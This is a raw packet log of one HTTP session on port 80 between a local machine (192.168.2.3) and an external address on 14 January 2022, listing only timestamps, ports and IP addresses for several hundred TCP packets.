Jan 14, 2022 20:23:50.602046013 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.602072954 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.602086067 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.602106094 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.602129936 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.602174044 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.602215052 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.602257013 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.602277994 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.602297068 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.602298021 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.602303982 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.602309942 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.602338076 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.602350950 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.602380991 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.602385044 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.602421999 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.602437019 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.602463007 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.602473021 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.602505922 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.602520943 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.602545023 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.602554083 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.602586985 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.602596045 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.602628946 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.602641106 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.602747917 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.602751970 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.602790117 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.602808952 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.602830887 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.602857113 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.602871895 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.602880955 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.602915049 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.602929115 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.602955103 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.602971077 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.602997065 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.603003979 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.603039026 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.603068113 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.603079081 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.603096008 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.603121996 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.603127003 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.603163004 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.603178024 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.603207111 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.603214025 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.603249073 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.603259087 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.603287935 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.603296041 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.603328943 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.603369951 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.603406906 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.603449106 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.603478909 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.603482008 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.603492975 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.603497982 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.603512049 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.603517056 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.603550911 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.603583097 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.603598118 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.603612900 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.603655100 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.603674889 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.603710890 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.603737116 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.603754997 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.603765011 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.603797913 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.603818893 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.603838921 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.603847027 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.603882074 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.603898048 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.603925943 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.603943110 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.603967905 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.603984118 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.604007959 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.604022980 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.604049921 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.604059935 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.604090929 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.604116917 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.604131937 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.604163885 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.604176044 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.604182959 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.604217052 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.604233027 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.604259968 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.604276896 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.604300976 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.604316950 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.604342937 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.604361057 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.604383945 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.604398966 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.604425907 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.604440928 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.604465961 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.604482889 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.604521990 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.604530096 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.604563951 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.604594946 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.604631901 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.604635954 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.604649067 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.604676962 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.604718924 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.604734898 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.604759932 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.604782104 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.604799986 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.604821920 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.604842901 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.604859114 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.604886055 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.604916096 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.604928017 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.604935884 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.604970932 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.604979038 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.605034113 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.605081081 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.605119944 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.605125904 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.605171919 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.605175972 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.605180025 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.605216980 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.605232000 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.605257034 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.605273008 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.605298042 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.605308056 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.605346918 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.605354071 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.605386972 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.605403900 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.605427027 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.605444908 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.605468988 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.605487108 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.605506897 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.605523109 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.605550051 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.605557919 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.605592966 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.605638981 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.605640888 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.605650902 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.605679035 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.605700970 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.605719090 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.605734110 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.605760098 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.605775118 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.605801105 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.605818033 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.605843067 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.605880976 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.605896950 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.605916023 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.605973959 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.605992079 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.606019974 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.606038094 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.606064081 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.606081009 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.606115103 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.606148005 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.606154919 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.606180906 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.606199980 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.606215954 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.606240988 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.606266022 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.606283903 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.606302023 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.606324911 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.606340885 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.606396914 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.606419086 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.606461048 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.606477022 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.606501102 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.606518030 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.606555939 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.606578112 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.606611013 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.606627941 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.606693029 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.664370060 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.664402962 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.664422989 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.664447069 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.664470911 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.664495945 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.664520025 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.664514065 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.664545059 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.664567947 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.664570093 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.664576054 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.664582014 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.664587021 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.664593935 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.664601088 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.664629936 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.664639950 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.664658070 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.664666891 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.664693117 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.664716959 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.664741993 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.664757013 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.664768934 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.664807081 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.664809942 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.664822102 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.664833069 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.664865971 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.664872885 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.664895058 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.664908886 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.664930105 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.664944887 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.664966106 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.664971113 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.665007114 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.665030956 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.665082932 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.665071011 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.665102005 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.665107965 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.665110111 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.665113926 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.665136099 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.665169954 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.665179014 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.665198088 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.665215969 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.665221930 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.665247917 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.665276051 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.665302038 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.665287018 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.665328026 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.665354013 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.665375948 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.665376902 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.665397882 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.665400982 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.665406942 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.665425062 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.665451050 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.665452957 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.665457964 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.665462971 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.665468931 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.665488005 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.665493965 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.665501118 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.665507078 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.665507078 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.665535927 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.665546894 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.665561914 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.665563107 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.665580034 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.665590048 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.665617943 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.665637970 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.665647984 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.665654898 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.665679932 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.665688992 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.665703058 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.665705919 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.665720940 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.665730000 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.665754080 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.665760040 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.665775061 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.665781021 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.665795088 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.665805101 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.665828943 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.665832043 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.665846109 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.665874958 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.665877104 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.665901899 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.665926933 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.665932894 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.665957928 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.665963888 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.665982962 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.665993929 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.666012049 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.666037083 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.666053057 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.666062117 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.666074038 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.666090012 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.666102886 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.666112900 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.666117907 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.666138887 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.666141033 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.666167974 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.666176081 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.666187048 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.666201115 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.666224003 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.666238070 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.666248083 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.666276932 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.666284084 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.666299105 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.666316032 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.666342020 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.666378021 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.666380882 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.666395903 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.666405916 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.666444063 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.666460037 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.666467905 CET	80	49866	81.163.30.181	192.168.2.3
